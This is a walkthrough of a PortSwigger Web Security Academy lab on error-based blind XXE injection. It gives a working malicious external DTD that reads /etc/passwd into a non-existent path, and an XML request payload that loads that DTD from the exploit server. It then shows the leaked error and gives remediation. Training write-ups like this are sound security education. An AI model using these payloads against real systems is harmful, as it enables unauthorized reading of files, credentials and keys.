PlatformPortSwigger Web Security Academy
TopicXML external entity (XXE) injection
LabExploiting blind XXE to retrieve data via error messages
DifficultyPractitioner
GoalRead /etc/passwd from a parser error message
ToolsBurp Suite (Proxy + Repeater) + the lab’s exploit server

Blind, but the errors talk#

This is blind XXE: the response reflects no entity value. In the out-of-band lab we leaned on a Collaborator callback; here the trick is different, we make the parser fail in a way that puts the file in the error message.

The move is to try to load the file from a path that doesn’t exist. A parser that reports FileNotFoundException: /invalid/<contents> helpfully pastes the file contents into the error, because we build that “missing” path out of the file we want to read. Doing this needs the dynamic entity-redefinition trick, which only works from an external DTD, so we host one on the lab’s exploit server.

Step 1: host the malicious DTD#

Open Go to exploit server and serve this at /exploit in the Body:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

How it chains together:

  • <!ENTITY % file SYSTEM "file:///etc/passwd"> reads the target file into %file.
  • <!ENTITY % eval "..."> defines %eval, whose value is another entity declaration. The &#x25; is an escaped %, so the inner % exfil entity is only created later, when %eval; runs, not while this DTD is first parsed.
  • The exfil entity points at file:///invalid/%file;, a path that doesn’t exist, with the file contents spliced into it.
  • %eval; declares %exfil; %exfil; then forces the parser to open that bogus path. The open fails, and the error message echoes the whole path, file contents included.
The exploit server body containing the malicious DTD that reads /etc/passwd into an invalid path
The DTD reads /etc/passwd into %file and splices it into a non-existent path, so the parser’s ‘file not found’ error will leak it. Store at /exploit.

Click Store so it’s live at https://YOUR-EXPLOIT-SERVER/exploit.

Step 2: trigger it and read the error#

In Repeater, make the stock-check load our external DTD with a parameter entity:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://YOUR-EXPLOIT-SERVER/exploit"> %xxe;]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

<!ENTITY % xxe SYSTEM "…/exploit"> fetches the external DTD and %xxe; runs it. The response is a 400 Bad Request, but the error line is the payoff, a FileNotFoundException for /invalid/ followed by the contents of /etc/passwd:

Burp Repeater: the stock check loading the external DTD, with the response error message leaking /etc/passwd
The error: ‘XML parser exited with error: java.io.FileNotFoundException: /invalid/root:x:0:0:…’ — /etc/passwd is in the error. Lab solved.

The /invalid/ path never existed, which is exactly the point: the “not found” error carries the file we smuggled into the path.

Real-world impact#

Error-based XXE matters because it beats a parser that reflects nothing:

  • Reads files with no OOB channel — when even DNS/HTTP egress is blocked, a verbose parser error is still a readable side channel.
  • Leaks secrets — /etc/passwd here, but the same DTD reads .env, config, credentials, and keys.
  • Depends on verbose errors — this is also a reminder that detailed parser errors returned to users are themselves a disclosure risk.

Only ever against systems you are authorized to test.

Remediation#

  • Disable DTDs and external entities in the parser, the root-cause fix that stops the external DTD from loading at all.
  • Don’t return raw parser errors to users. Log them server-side and return a generic message, so a failed parse can’t leak file contents.

A concrete example, parser-specific (here Java’s DocumentBuilderFactory):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — the external DTD never loads
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);

Key takeaways#

  • When XXE is blind and there’s no out-of-band channel, force a parser error that includes the file: splice the file contents into a non-existent path.
  • The %file / %eval / %exfil chain needs an external DTD, because XML won’t let you redefine entities like this in the request’s inline DTD.
  • Verbose parser errors are a disclosure channel in their own right, suppress them.